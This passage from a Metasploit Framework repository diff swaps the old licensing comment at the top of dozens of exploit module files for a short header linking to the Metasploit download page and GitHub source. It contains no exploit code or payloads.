restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/osx/browser/safari_metadata_archive.rb b/modules/exploits/osx/browser/safari_metadata_archive.rb index 00beadb73a..30a1fd7498 100644 --- a/modules/exploits/osx/browser/safari_metadata_archive.rb +++ b/modules/exploits/osx/browser/safari_metadata_archive.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/osx/browser/software_update.rb b/modules/exploits/osx/browser/software_update.rb index be62841fd5..cac67fc293 100644 --- a/modules/exploits/osx/browser/software_update.rb +++ b/modules/exploits/osx/browser/software_update.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/osx/email/mailapp_image_exec.rb b/modules/exploits/osx/email/mailapp_image_exec.rb index 0a1822ccc8..0e8174ccc5 100644 --- a/modules/exploits/osx/email/mailapp_image_exec.rb +++ b/modules/exploits/osx/email/mailapp_image_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/osx/ftp/webstar_ftp_user.rb b/modules/exploits/osx/ftp/webstar_ftp_user.rb index f13c077c9e..b87286992c 100644 --- a/modules/exploits/osx/ftp/webstar_ftp_user.rb +++ b/modules/exploits/osx/ftp/webstar_ftp_user.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/osx/http/evocam_webserver.rb b/modules/exploits/osx/http/evocam_webserver.rb index a849f189b1..b20bef1ab1 100644 --- a/modules/exploits/osx/http/evocam_webserver.rb +++ b/modules/exploits/osx/http/evocam_webserver.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/osx/local/setuid_tunnelblick.rb b/modules/exploits/osx/local/setuid_tunnelblick.rb index 386105e17b..5a43d1bd59 100644 --- a/modules/exploits/osx/local/setuid_tunnelblick.rb +++ b/modules/exploits/osx/local/setuid_tunnelblick.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/osx/local/setuid_viscosity.rb b/modules/exploits/osx/local/setuid_viscosity.rb index 2edfc1ba59..d940379312 100644 --- a/modules/exploits/osx/local/setuid_viscosity.rb +++ b/modules/exploits/osx/local/setuid_viscosity.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/osx/local/sudo_password_bypass.rb b/modules/exploits/osx/local/sudo_password_bypass.rb index f359738976..4fc75b36f8 100644 --- a/modules/exploits/osx/local/sudo_password_bypass.rb +++ b/modules/exploits/osx/local/sudo_password_bypass.rb @@ -1,7 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # # http://metasploit.com/ ## diff --git a/modules/exploits/osx/mdns/upnp_location.rb b/modules/exploits/osx/mdns/upnp_location.rb index 1283254d47..dd8a314df3 100644 --- a/modules/exploits/osx/mdns/upnp_location.rb +++ b/modules/exploits/osx/mdns/upnp_location.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/osx/misc/ufo_ai.rb b/modules/exploits/osx/misc/ufo_ai.rb index b5d53ed6e3..53a7a4c831 100644 --- a/modules/exploits/osx/misc/ufo_ai.rb +++ b/modules/exploits/osx/misc/ufo_ai.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/osx/rtsp/quicktime_rtsp_content_type.rb b/modules/exploits/osx/rtsp/quicktime_rtsp_content_type.rb index abe8cdaac6..f45b4f79d4 100644 --- a/modules/exploits/osx/rtsp/quicktime_rtsp_content_type.rb +++ b/modules/exploits/osx/rtsp/quicktime_rtsp_content_type.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/osx/samba/lsa_transnames_heap.rb b/modules/exploits/osx/samba/lsa_transnames_heap.rb index 0d7642eee0..5b92929eb9 100644 --- a/modules/exploits/osx/samba/lsa_transnames_heap.rb +++ b/modules/exploits/osx/samba/lsa_transnames_heap.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/osx/samba/trans2open.rb b/modules/exploits/osx/samba/trans2open.rb index fa680bff71..70ac02edae 100644 --- a/modules/exploits/osx/samba/trans2open.rb +++ b/modules/exploits/osx/samba/trans2open.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/solaris/dtspcd/heap_noir.rb b/modules/exploits/solaris/dtspcd/heap_noir.rb index d4101ab1d3..1ae103c4f9 100644 --- a/modules/exploits/solaris/dtspcd/heap_noir.rb +++ b/modules/exploits/solaris/dtspcd/heap_noir.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/solaris/lpd/sendmail_exec.rb b/modules/exploits/solaris/lpd/sendmail_exec.rb index c971fcb13b..fa2f21b889 100644 --- a/modules/exploits/solaris/lpd/sendmail_exec.rb +++ b/modules/exploits/solaris/lpd/sendmail_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/solaris/samba/lsa_transnames_heap.rb b/modules/exploits/solaris/samba/lsa_transnames_heap.rb index 4fc637bc65..24ec4d4103 100644 --- a/modules/exploits/solaris/samba/lsa_transnames_heap.rb +++ b/modules/exploits/solaris/samba/lsa_transnames_heap.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/solaris/samba/trans2open.rb b/modules/exploits/solaris/samba/trans2open.rb index 7e36557a28..120fd030a0 100644 --- a/modules/exploits/solaris/samba/trans2open.rb +++ b/modules/exploits/solaris/samba/trans2open.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/solaris/sunrpc/sadmind_adm_build_path.rb b/modules/exploits/solaris/sunrpc/sadmind_adm_build_path.rb index 2c6baa7ef4..7af5e467c4 100644 --- a/modules/exploits/solaris/sunrpc/sadmind_adm_build_path.rb +++ b/modules/exploits/solaris/sunrpc/sadmind_adm_build_path.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/solaris/sunrpc/sadmind_exec.rb b/modules/exploits/solaris/sunrpc/sadmind_exec.rb index 379c53eae5..72e94d61c7 100644 --- a/modules/exploits/solaris/sunrpc/sadmind_exec.rb +++ b/modules/exploits/solaris/sunrpc/sadmind_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/solaris/sunrpc/ypupdated_exec.rb b/modules/exploits/solaris/sunrpc/ypupdated_exec.rb index bb4b19cd01..f35c6d8cdc 100644 --- a/modules/exploits/solaris/sunrpc/ypupdated_exec.rb +++ b/modules/exploits/solaris/sunrpc/ypupdated_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/solaris/telnet/fuser.rb b/modules/exploits/solaris/telnet/fuser.rb index 3f0d8a3c10..a11acad3e4 100644 --- a/modules/exploits/solaris/telnet/fuser.rb +++ b/modules/exploits/solaris/telnet/fuser.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/solaris/telnet/ttyprompt.rb b/modules/exploits/solaris/telnet/ttyprompt.rb index ddc1c09db1..5580082e9c 100644 --- a/modules/exploits/solaris/telnet/ttyprompt.rb +++ b/modules/exploits/solaris/telnet/ttyprompt.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/ftp/proftpd_133c_backdoor.rb b/modules/exploits/unix/ftp/proftpd_133c_backdoor.rb index 212024f696..8d927e05bb 100644 --- a/modules/exploits/unix/ftp/proftpd_133c_backdoor.rb +++ b/modules/exploits/unix/ftp/proftpd_133c_backdoor.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb b/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb index 127ec73697..bb66bbf19c 100644 --- a/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb +++ b/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/unix/http/contentkeeperweb_mimencode.rb b/modules/exploits/unix/http/contentkeeperweb_mimencode.rb index cf613e9043..d74bc00a5b 100644 --- a/modules/exploits/unix/http/contentkeeperweb_mimencode.rb +++ b/modules/exploits/unix/http/contentkeeperweb_mimencode.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/unix/http/ctek_skyrouter.rb b/modules/exploits/unix/http/ctek_skyrouter.rb index 4a6e59f2f8..2e296dcf44 100644 --- a/modules/exploits/unix/http/ctek_skyrouter.rb +++ b/modules/exploits/unix/http/ctek_skyrouter.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/unix/http/freepbx_callmenum.rb b/modules/exploits/unix/http/freepbx_callmenum.rb index 1795021702..c077eb1518 100644 --- a/modules/exploits/unix/http/freepbx_callmenum.rb +++ b/modules/exploits/unix/http/freepbx_callmenum.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/unix/http/lifesize_room.rb b/modules/exploits/unix/http/lifesize_room.rb index 53419d9758..e8fef8bcbc 100644 --- a/modules/exploits/unix/http/lifesize_room.rb +++ b/modules/exploits/unix/http/lifesize_room.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/unix/irc/unreal_ircd_3281_backdoor.rb b/modules/exploits/unix/irc/unreal_ircd_3281_backdoor.rb index 6618088b9a..4ec66ba5c0 100644 --- a/modules/exploits/unix/irc/unreal_ircd_3281_backdoor.rb +++ b/modules/exploits/unix/irc/unreal_ircd_3281_backdoor.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/local/setuid_nmap.rb b/modules/exploits/unix/local/setuid_nmap.rb index 89db3c9782..0cdca26ede 100644 --- a/modules/exploits/unix/local/setuid_nmap.rb +++ b/modules/exploits/unix/local/setuid_nmap.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/unix/misc/distcc_exec.rb b/modules/exploits/unix/misc/distcc_exec.rb index eef4e74dda..e0e4bb2f8e 100644 --- a/modules/exploits/unix/misc/distcc_exec.rb +++ b/modules/exploits/unix/misc/distcc_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/misc/qnx_qconn_exec.rb b/modules/exploits/unix/misc/qnx_qconn_exec.rb index db3e9fe3f7..634f7c9575 100644 --- a/modules/exploits/unix/misc/qnx_qconn_exec.rb +++ b/modules/exploits/unix/misc/qnx_qconn_exec.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/unix/misc/spamassassin_exec.rb b/modules/exploits/unix/misc/spamassassin_exec.rb index 772f422ba0..e0ac350ac9 100644 --- a/modules/exploits/unix/misc/spamassassin_exec.rb +++ b/modules/exploits/unix/misc/spamassassin_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/unix/misc/zabbix_agent_exec.rb b/modules/exploits/unix/misc/zabbix_agent_exec.rb index 17733d3d17..e6767dce06 100644 --- a/modules/exploits/unix/misc/zabbix_agent_exec.rb +++ b/modules/exploits/unix/misc/zabbix_agent_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/unix/smtp/clamav_milter_blackhole.rb b/modules/exploits/unix/smtp/clamav_milter_blackhole.rb index dde10eeb57..db8129e5d1 100644 --- a/modules/exploits/unix/smtp/clamav_milter_blackhole.rb +++ b/modules/exploits/unix/smtp/clamav_milter_blackhole.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/unix/smtp/exim4_string_format.rb b/modules/exploits/unix/smtp/exim4_string_format.rb index ab3273f4f3..9b66eeff65 100644 --- a/modules/exploits/unix/smtp/exim4_string_format.rb +++ b/modules/exploits/unix/smtp/exim4_string_format.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/unix/ssh/tectia_passwd_changereq.rb b/modules/exploits/unix/ssh/tectia_passwd_changereq.rb index 9506d6b7af..302be8934e 100644 --- a/modules/exploits/unix/ssh/tectia_passwd_changereq.rb +++ b/modules/exploits/unix/ssh/tectia_passwd_changereq.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/unix/webapp/arkeia_upload_exec.rb b/modules/exploits/unix/webapp/arkeia_upload_exec.rb index 2d6fecf58f..e27364c2bd 100644 --- a/modules/exploits/unix/webapp/arkeia_upload_exec.rb +++ b/modules/exploits/unix/webapp/arkeia_upload_exec.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/unix/webapp/awstats_configdir_exec.rb b/modules/exploits/unix/webapp/awstats_configdir_exec.rb index 94369266fe..ec833f32ab 100644 --- a/modules/exploits/unix/webapp/awstats_configdir_exec.rb +++ b/modules/exploits/unix/webapp/awstats_configdir_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/awstats_migrate_exec.rb b/modules/exploits/unix/webapp/awstats_migrate_exec.rb index 1a31fc06e5..012397a915 100644 --- a/modules/exploits/unix/webapp/awstats_migrate_exec.rb +++ b/modules/exploits/unix/webapp/awstats_migrate_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/awstatstotals_multisort.rb b/modules/exploits/unix/webapp/awstatstotals_multisort.rb index fdad45c6b8..be60094c64 100644 --- a/modules/exploits/unix/webapp/awstatstotals_multisort.rb +++ b/modules/exploits/unix/webapp/awstatstotals_multisort.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/barracuda_img_exec.rb b/modules/exploits/unix/webapp/barracuda_img_exec.rb index d094c13377..cd6d202ace 100644 --- a/modules/exploits/unix/webapp/barracuda_img_exec.rb +++ b/modules/exploits/unix/webapp/barracuda_img_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/unix/webapp/base_qry_common.rb b/modules/exploits/unix/webapp/base_qry_common.rb index 28a00c37e7..05472f7924 100644 --- a/modules/exploits/unix/webapp/base_qry_common.rb +++ b/modules/exploits/unix/webapp/base_qry_common.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/unix/webapp/basilic_diff_exec.rb b/modules/exploits/unix/webapp/basilic_diff_exec.rb index cd723ba84b..2aa758e81f 100644 --- a/modules/exploits/unix/webapp/basilic_diff_exec.rb +++ b/modules/exploits/unix/webapp/basilic_diff_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/unix/webapp/cacti_graphimage_exec.rb b/modules/exploits/unix/webapp/cacti_graphimage_exec.rb index 2529c2fd36..a0e9acc770 100644 --- a/modules/exploits/unix/webapp/cacti_graphimage_exec.rb +++ b/modules/exploits/unix/webapp/cacti_graphimage_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/unix/webapp/cakephp_cache_corruption.rb b/modules/exploits/unix/webapp/cakephp_cache_corruption.rb index e3facada72..5a0785ea83 100644 --- a/modules/exploits/unix/webapp/cakephp_cache_corruption.rb +++ b/modules/exploits/unix/webapp/cakephp_cache_corruption.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/unix/webapp/carberp_backdoor_exec.rb b/modules/exploits/unix/webapp/carberp_backdoor_exec.rb index 45c20592de..f0f56cbf4e 100644 --- a/modules/exploits/unix/webapp/carberp_backdoor_exec.rb +++ b/modules/exploits/unix/webapp/carberp_backdoor_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/unix/webapp/citrix_access_gateway_exec.rb b/modules/exploits/unix/webapp/citrix_access_gateway_exec.rb index 93533a8297..4a228df6e8 100644 --- a/modules/exploits/unix/webapp/citrix_access_gateway_exec.rb +++ b/modules/exploits/unix/webapp/citrix_access_gateway_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/clipbucket_upload_exec.rb b/modules/exploits/unix/webapp/clipbucket_upload_exec.rb index ee3aec9ed7..f1371c51f1 100644 --- a/modules/exploits/unix/webapp/clipbucket_upload_exec.rb +++ b/modules/exploits/unix/webapp/clipbucket_upload_exec.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/unix/webapp/coppermine_piceditor.rb b/modules/exploits/unix/webapp/coppermine_piceditor.rb index 6e8973b5d2..929f0f23c4 100644 --- a/modules/exploits/unix/webapp/coppermine_piceditor.rb +++ b/modules/exploits/unix/webapp/coppermine_piceditor.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/unix/webapp/datalife_preview_exec.rb b/modules/exploits/unix/webapp/datalife_preview_exec.rb index b14fb68d26..0426621390 100644 --- a/modules/exploits/unix/webapp/datalife_preview_exec.rb +++ b/modules/exploits/unix/webapp/datalife_preview_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/unix/webapp/dogfood_spell_exec.rb b/modules/exploits/unix/webapp/dogfood_spell_exec.rb index fe922d5850..4b737538c0 100644 --- a/modules/exploits/unix/webapp/dogfood_spell_exec.rb +++ b/modules/exploits/unix/webapp/dogfood_spell_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: 